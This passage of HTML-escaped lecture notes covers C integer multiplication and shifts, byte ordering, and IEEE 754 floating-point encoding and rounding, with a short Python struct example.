&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;So, maintaining exact results...
&lt;ul&gt;
&lt;li&gt;would need to keep expanding word size with each product computed (exhaust memory faster)&lt;/li&gt;
&lt;li&gt;is done in software, if needed
&lt;ul&gt;
&lt;li&gt;e.g., by &quot;arbitrary precision&quot; arithmetic packages&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Unsigned Multiplication in C&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Standard Multiplication Function
&lt;ul&gt;
&lt;li&gt;Ignore high order $w$ bits&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Implements Modular Arithmetic
&lt;ul&gt;
&lt;li&gt;$\displaystyle UMult_{w}( u,v) =( u\cdot v)\bmod 2^{w}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5mo3smxcua.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Signed Multiplication in C&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Standard Multiplication Function
&lt;ul&gt;
&lt;li&gt;Ignore high order $w$ bits&lt;/li&gt;
&lt;li&gt;Some of which are different for signed vs. unsigned multiplication&lt;/li&gt;
&lt;li&gt;Lower bits are the same&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8vn7pal9ub.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Power-of-2 Multiply with Shift&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Operation
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;u &amp;lt;&amp;lt; k&lt;/code&gt; gives $u\cdot 2^{k}$ (basically increases each bits weight)&lt;/li&gt;
&lt;li&gt;Both signed and unsigned&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5c19zhj0ap.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Unsigned Power-of-2 Divide with Shift&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Quotient of Unsigned by Power of 2
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;u &amp;gt;&amp;gt; k&lt;/code&gt; gives $\left\lfloor u/2^{k}\right\rfloor $&lt;/li&gt;
&lt;li&gt;Uses logical shift&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.102gry07d5.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Signed Power-of-2 Divide with Shift&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Quotient of Signed by Power of 2
&lt;ul&gt;
&lt;li&gt;Uses arithmetic shift&lt;/li&gt;
&lt;li&gt;Want $\lceil x/2^{k} \rceil $ (Round toward 0)&lt;/li&gt;
&lt;li&gt;Compute as $\left\lfloor \left( x+2^{k} -1\right) /2^{k}\right\rfloor $
&lt;ul&gt;
&lt;li&gt;In C: &lt;code&gt;(x + (1 &amp;lt;&amp;lt; k) - 1) &amp;gt;&amp;gt; k&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Biases dividend toward 0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Case 1: No rounding&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5trbo2ldaa.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Case 2: Rounding&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8adk2zsm1r.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Handy tricks&lt;/h3&gt;
&lt;p&gt;If you want convert a value $u$ to its negative form by hand or in mind, either unsigned or signed.&lt;/p&gt;
&lt;p&gt;Just do: $\sim u+1$&lt;/p&gt;
&lt;h3&gt;When Should I Use Unsigned ?&lt;/h3&gt;
&lt;p&gt;:::caution
&lt;strong&gt;Don&apos;t use without understanding implications!&lt;/strong&gt;
:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Do use when performing modular arithmetic
&lt;ul&gt;
&lt;li&gt;Multiplication arithmetic&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Do use when using bits to represent sets
&lt;ul&gt;
&lt;li&gt;Logical right shift, no sign extension&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Representation in memory, pointers, strings&lt;/h2&gt;
&lt;h3&gt;Byte-Oriented Memory Organization&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Programs refer to data by address
&lt;ul&gt;
&lt;li&gt;Conceptually, envision it as a very large array of bytes
&lt;ul&gt;
&lt;li&gt;In reality, it’s not, but can think of it that way&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;An address is like an index into that array
&lt;ul&gt;
&lt;li&gt;and, a pointer variable stores an address&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;System provides private address spaces to each &quot;process&quot;
&lt;ul&gt;
&lt;li&gt;So, a program can clobber its own data, but not that of others&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Machine Words&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Any given computer has a &quot;Word Size&quot;
&lt;ul&gt;
&lt;li&gt;Nominal size of integer-valued data
&lt;ul&gt;
&lt;li&gt;and of addresses&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Until recently, most machines used 32 bits (4 bytes) as word size
&lt;ul&gt;
&lt;li&gt;Limits addresses to 4 GB ($2^{32}$ bytes)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Increasingly, machines have 64‐bit word size
&lt;ul&gt;
&lt;li&gt;Potentially, could have 18 EB (exabytes) of addressable memory&lt;/li&gt;
&lt;li&gt;That&apos;s $18.4\times 10^{18}$ bytes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Machines still support multiple data formats
&lt;ul&gt;
&lt;li&gt;Fractions or multiples of word size&lt;/li&gt;
&lt;li&gt;Always integral number of bytes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Word‐Oriented Memory Organization&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Addresses Specify Byte Locations
&lt;ul&gt;
&lt;li&gt;Address of first byte in word&lt;/li&gt;
&lt;li&gt;Addresses of successive words differ by 4 (32‐bit) or 8 (64‐bit)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Byte Ordering&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Big Endian: Sun, PPC Mac, Internet
&lt;ul&gt;
&lt;li&gt;Least significant byte has highest address&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Little Endian: x86, ARM processors running Android, iOS, and Windows
&lt;ul&gt;
&lt;li&gt;Least significant byte has lowest address&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Representation Strings&lt;/h3&gt;
&lt;p&gt;In C, either little endian or big endian machine, strings in memory represented in the same way, because a string is essentially an array of characters ends with &lt;code&gt;\x00&lt;/code&gt;, each character is one byte encoded in ASCII format and single byte (character) do not obey the byte ordering rule.&lt;/p&gt;
&lt;h1&gt;Floating Point&lt;/h1&gt;
&lt;h2&gt;Background: Fractional binary numbers&lt;/h2&gt;
&lt;h3&gt;Representing&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Bits to right of &quot;binary point&quot; represent fractional powers of 2&lt;/li&gt;
&lt;li&gt;Represents rational number: $\displaystyle \sum &lt;em&gt;{k=-j}^{i} b&lt;/em&gt;{k} \cdot 2^{k}$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.23262tx92l.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Representation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;$\displaystyle5\frac{3}{4}$&lt;/td&gt;
&lt;td&gt;$101.11_{2}$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$\displaystyle2\frac{7}{8}$&lt;/td&gt;
&lt;td&gt;$10.111_{2}$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$\displaystyle1\frac{7}{16}$&lt;/td&gt;
&lt;td&gt;$1.0111_{2}$&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Observations&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Divide by 2 by shifting right (unsigned)&lt;/li&gt;
&lt;li&gt;Multiply by 2 by shifting left&lt;/li&gt;
&lt;li&gt;Numbers of form $0.111111\dots_{2}$ are just below $1.0$
&lt;ul&gt;
&lt;li&gt;$\displaystyle \frac{1}{2} +\frac{1}{4} +\frac{1}{8} +\dots+\frac{1}{2^{i}} +\dots\rightarrow 1.0$&lt;/li&gt;
&lt;li&gt;Use notation $1.0−\epsilon $ ($\epsilon $ depends on how many bits you have to the right of the binary point. If it gets smaller the more, the more of those bits you have there, and it gets closer to $1$)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Limitation 1&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Can only exactly represent numbers of the form $\displaystyle\frac{x}{2^{k}}$
&lt;ul&gt;
&lt;li&gt;Other rational numbers have repeating bit representations, but cause computer system can only hold a finite number of bits, so $0.1+0.2\neq 0.3$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Representation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;$\displaystyle\frac{1}{3}$&lt;/td&gt;
&lt;td&gt;$0.0101010101[ 01] \dots_{2}$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$\displaystyle\frac{1}{5}$&lt;/td&gt;
&lt;td&gt;$0.001100110011[ 0011] \dots_{2}$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$\displaystyle\frac{1}{10}$&lt;/td&gt;
&lt;td&gt;$0.0001100110011[ 0011] \dots_{2}$&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Limitation 2&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Just one setting of binary point within the $w$ bits
&lt;ul&gt;
&lt;li&gt;Limited range of numbers (very small values ? very large ? we have to move the binary point to represent sort of wide as wide a range as possible with as much precision given the number of bits)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Definition: IEEE Floating Point Standard&lt;/h2&gt;
&lt;h3&gt;IEEE Standard 754&lt;/h3&gt;
&lt;p&gt;Established in 1985 as uniform standard for floating point arithmetic. Before that, many idiosyncratic formats.&lt;/p&gt;
&lt;p&gt;Although it provided nice standards for rounding, overflow, underflow... It is hard to make fast in hardware (Numerical analysts predominated over hardware designers in defining standard)&lt;/p&gt;
&lt;h2&gt;Floating Point Representation&lt;/h2&gt;
&lt;p&gt;Numerical form: $( -1)^{s} \cdot M\cdot 2^{E}$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sign bit $s$ determines whether number is negative or positive&lt;/li&gt;
&lt;li&gt;Significand $M$ (Mantissa) normally a fractional value in range $[ 1.0,2.0)$&lt;/li&gt;
&lt;li&gt;Exponent $E$ weights value by power of two&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Encoding&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;MSB &lt;code&gt;s&lt;/code&gt; is sign bit $s$&lt;/li&gt;
&lt;li&gt;&lt;code&gt;exp&lt;/code&gt; field encodes $E$ (but is not equal to $E$)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;frac&lt;/code&gt; field encodes $M$ (but is not equal to $M$)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2yynia7gbn.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Normalized Values&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Condition: $exp\neq 000\dotsc 0$ and $exp\neq 111\dotsc 1$&lt;/li&gt;
&lt;li&gt;Exponent coded as a biased value: $E=exp-bias$
&lt;ul&gt;
&lt;li&gt;$exp$ is unsigned value of exp field&lt;/li&gt;
&lt;li&gt;$bias=2^{k-1} -1$, where $k$ is number of exponent bits
&lt;ul&gt;
&lt;li&gt;Single precision: $127$ ($exp\in [ 1,254]$, $E\in [ -126,127]$)&lt;/li&gt;
&lt;li&gt;Double precision: $1023$ ($exp\in [ 1,2046]$, $E\in [ -1022,1023]$)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Significand coded with implied leading $1$: $M=1.xxx\dotsc x_{2}$
&lt;ul&gt;
&lt;li&gt;$xxx\dotsc x$ is bits of frac field&lt;/li&gt;
&lt;li&gt;Minimum when $frac=000\dotsc 0\ ( M=1.0)$&lt;/li&gt;
&lt;li&gt;Maximum when $frac=111\dotsc 1\ ( M=2.0-\epsilon )$&lt;/li&gt;
&lt;li&gt;Get extra leading bit for &quot;free&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Normalized Encoding Example&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Value: &lt;code&gt;float F = 15213.0;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;$15213_{10} =11101101101101_{2} =1.1101101101101\times 2^{13}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Significand
&lt;ul&gt;
&lt;li&gt;$M=( 1.) 1101101101101_{2}$&lt;/li&gt;
&lt;li&gt;$frac=11011011011010000000000_{2}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Exponent
&lt;ul&gt;
&lt;li&gt;$E=13$&lt;/li&gt;
&lt;li&gt;$bias=127$&lt;/li&gt;
&lt;li&gt;$exp=140=10001100_{2}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So the result would be:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4g4sk1cfjd.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# manually calculate
((-1)**0)*(1+1/2+1/4+1/16+1/32+1/128+1/256+1/1024+1/2048+1/8192)*(2**13) == 15213.0

# by struct package
import struct

bits = 0b01000110011011011011010000000000
f = struct.unpack(&quot;f&quot;, struct.pack(&quot;I&quot;, bits))[0]

print(f)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Denormalized Values&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Condition: $exp=000\dotsc 0$&lt;/li&gt;
&lt;li&gt;Exponent value: $E=1-bias\ ( instead\ of\ E=0-bias)$&lt;/li&gt;
&lt;li&gt;Significand coded with implied leading $0$: $M=0.xxx\dotsc x_{2}$
&lt;ul&gt;
&lt;li&gt;$xxx\dotsc x$ is bits of frac field&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Cases
&lt;ul&gt;
&lt;li&gt;$exp=000\dotsc 0,frac=000\dotsc 0$
&lt;ul&gt;
&lt;li&gt;Represents zero value&lt;/li&gt;
&lt;li&gt;Note distinct values: $+0$ and $-0$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;$exp=000\dotsc 0,farc\neq 000\dotsc 0$
&lt;ul&gt;
&lt;li&gt;Numbers closet to $0.0$&lt;/li&gt;
&lt;li&gt;Equispaced&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Special Values&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Condition: $exp=111\dotsc 1$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Case: $exp=111\dotsc 1,frac=000\dotsc 0$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Represents value $\infty $&lt;/li&gt;
&lt;li&gt;Operation that overflows&lt;/li&gt;
&lt;li&gt;Both positive and negative&lt;/li&gt;
&lt;li&gt;E.g., $1.0/0.0=-1.0/-0.0=+\infty ,1.0/-0.0=-\infty $&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Case: $exp=111\dotsc 1,frac\neq 000\dotsc 0$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Not-a-Number (NaN)&lt;/li&gt;
&lt;li&gt;Represents case when no numeric value can be determined&lt;/li&gt;
&lt;li&gt;E.g., $\sqrt{-1} ,\infty -\infty ,\infty \cdot 0$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Visualization: Floating Point Encodings&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4xuu8me5ea.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Example and properties&lt;/h3&gt;
&lt;h4&gt;Tiny Floating Point Example&lt;/h4&gt;
&lt;p&gt;Think about this 8-bit Floating Point Representation below, it obeying the same general form as IEEE Format:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.26ls0jseh0.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Dynamic Range (Positive Only)&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6pnt3iy9a6.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Distribution of Values&lt;/h4&gt;
&lt;p&gt;Still think about our tiny example, notice how the distribution gets denser toward zero.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3gop6vb6vl.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here is a scaled close-up view:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3gop6vbl8i.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Special Properties of the IEEE Encoding&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Floating Point Zero Same as Integer Zero
&lt;ul&gt;
&lt;li&gt;All bits = 0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Can (Almost) Use Unsigned Integer Comparison
&lt;ul&gt;
&lt;li&gt;Must first compare sign bits&lt;/li&gt;
&lt;li&gt;Must consider $-0=0$&lt;/li&gt;
&lt;li&gt;NaNs problematic
&lt;ul&gt;
&lt;li&gt;What should comparison yield ?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Otherwise OK
&lt;ul&gt;
&lt;li&gt;Denormalized vs. Normalized&lt;/li&gt;
&lt;li&gt;Normalized vs. Infinity&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Rounding, addition, multiplication&lt;/h2&gt;
&lt;h3&gt;Floating Point Operations: Basic Idea&lt;/h3&gt;
&lt;p&gt;$x+_{f} y=round( x+y)$&lt;/p&gt;
&lt;p&gt;$x\times _{f} y=round( x\times y)$&lt;/p&gt;
&lt;h4&gt;Basic idea&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;First compute exact result&lt;/li&gt;
&lt;li&gt;Make it fit into desired precision
&lt;ul&gt;
&lt;li&gt;Possibly overflow if exponent too large&lt;/li&gt;
&lt;li&gt;Possibly round to fit into frac&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Rounding&lt;/h3&gt;
&lt;p&gt;Rounding Modes (illustrate with $ rounding)&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;$1.40&lt;/th&gt;
&lt;th&gt;$1.60&lt;/th&gt;
&lt;th&gt;$1.50&lt;/th&gt;
&lt;th&gt;$2.50&lt;/th&gt;
&lt;th&gt;-$1.50&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Towards Zero&lt;/td&gt;
&lt;td&gt;$1&lt;/td&gt;
&lt;td&gt;$1&lt;/td&gt;
&lt;td&gt;$1&lt;/td&gt;
&lt;td&gt;$2&lt;/td&gt;
&lt;td&gt;-$1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Round Down ($-\infty $)&lt;/td&gt;
&lt;td&gt;$1&lt;/td&gt;
&lt;td&gt;$1&lt;/td&gt;
&lt;td&gt;$1&lt;/td&gt;
&lt;td&gt;$2&lt;/td&gt;
&lt;td&gt;-$2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Round Up ($+\infty $)&lt;/td&gt;
&lt;td&gt;$2&lt;/td&gt;
&lt;td&gt;$2&lt;/td&gt;
&lt;td&gt;$2&lt;/td&gt;
&lt;td&gt;$3&lt;/td&gt;
&lt;td&gt;-$1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nearest Even (default)&lt;/td&gt;
&lt;td&gt;$1&lt;/td&gt;
&lt;td&gt;$2&lt;/td&gt;
&lt;td&gt;$2&lt;/td&gt;
&lt;td&gt;$2&lt;/td&gt;
&lt;td&gt;-$2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;:::note[Round to Even]
It means, if you have a value that&apos;s less than half way then you round down, if more than half way, round up. When you have something that&apos;s exactly half way, then what you do is round towards the nearest even number.
:::&lt;/p&gt;
&lt;h4&gt;Closer Look at Round-To-Even&lt;/h4&gt;
&lt;h5&gt;Default Rounding Mode&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Hard to get any other kind without dropping into assembly&lt;/li&gt;
&lt;li&gt;All others are statistically biased
&lt;ul&gt;
&lt;li&gt;Sum of set of positive numbers will consistently be over or underestimated&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Applying to Other Decimal Places / Bit Positions&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;When exactly half way between two possible values
&lt;ul&gt;
&lt;li&gt;Round so that least significant digit is even&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;E.g., round to nearest hundredth:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Rounded&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;7.8949999&lt;/td&gt;
&lt;td&gt;7.89&lt;/td&gt;
&lt;td&gt;Less than half way&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7.8950001&lt;/td&gt;
&lt;td&gt;7.90&lt;/td&gt;
&lt;td&gt;Greater than half way&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7.8950000&lt;/td&gt;
&lt;td&gt;7.90&lt;/td&gt;
&lt;td&gt;Half way (round up)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7.8850000&lt;/td&gt;
&lt;td&gt;7.88&lt;/td&gt;
&lt;td&gt;Half way (rond down)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h5&gt;Rounding Binary Numbers&lt;/h5&gt;
&lt;p&gt;Binary Fractional Numbers&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Even&quot; when least significant bit is 0&lt;/li&gt;
&lt;li&gt;&quot;Half way&quot; when bits to right of rounding position is $100\dotsc _{2}$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;E.g., round to nearest $\displaystyle \frac{1}{4}$ (2 bits right of binary point)&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Binary&lt;/th&gt;
&lt;th&gt;Rounded&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Rounded Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;$\displaystyle 2\frac{3}{32}$&lt;/td&gt;
&lt;td&gt;$10.00011_{2}$&lt;/td&gt;
&lt;td&gt;$10.00_{2}$&lt;/td&gt;
&lt;td&gt;Less than half way (round down)&lt;/td&gt;
&lt;td&gt;$2$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$\displaystyle 2\frac{3}{16}$&lt;/td&gt;
&lt;td&gt;$10.00110_{2}$&lt;/td&gt;
&lt;td&gt;$10.01_{2}$&lt;/td&gt;
&lt;td&gt;Greater than half way (round up)&lt;/td&gt;
&lt;td&gt;$\displaystyle 2\frac{1}{4}$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$\displaystyle 2\frac{7}{8}$&lt;/td&gt;
&lt;td&gt;$10.11100_{2}$&lt;/td&gt;
&lt;td&gt;$11.00_{2}$&lt;/td&gt;
&lt;td&gt;Half way (round up)&lt;/td&gt;
&lt;td&gt;$3$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$\displaystyle 2\frac{5}{8}$&lt;/td&gt;
&lt;td&gt;$10.10100_{2}$&lt;/td&gt;
&lt;td&gt;$10.10_{2}$&lt;/td&gt;
&lt;td&gt;Half way (round down)&lt;/td&gt;
&lt;td&gt;$\displaystyle 2\frac{1}{2}$&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Floating Point Multiplication&lt;/h3&gt;
&lt;p&gt;$( -1)^{s_{1}} \cdot M_{1} \cdot 2^{E_{1}} \cdot ( -1)^{s_{2}} \cdot M_{2} \cdot 2^{E_{2}} =( -1)^{s} \cdot M \cdot 2^{E}$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sign $s$ is $s_{1}$^$s_{2}$&lt;/li&gt;
&lt;li&gt;Significand $M$ is $M_{1} \cdot M_{2}$&lt;/li&gt;
&lt;li&gt;Exponent $E$ is $E_{1}+E_{2}$&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Fixing&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;If $M\geqslant 2$, shift $M$ right, increment $E$&lt;/li&gt;
&lt;li&gt;If $E$ out of range, overflow&lt;/li&gt;
&lt;li&gt;Round $M$ to fit frac precision&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Biggest chore in implementation is multiplying significands&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Floating Point Addition&lt;/h3&gt;
&lt;p&gt;$( -1)^{s_{1}} \cdot M_{1} \cdot 2^{E_{1}} +( -1)^{s_{2}} \cdot M_{2} \cdot 2^{E_{2}} =( -1)^{s} \cdot M \cdot 2^{E}$ (Assume $E_{1}&amp;gt;E_{2}$)&lt;/p&gt;
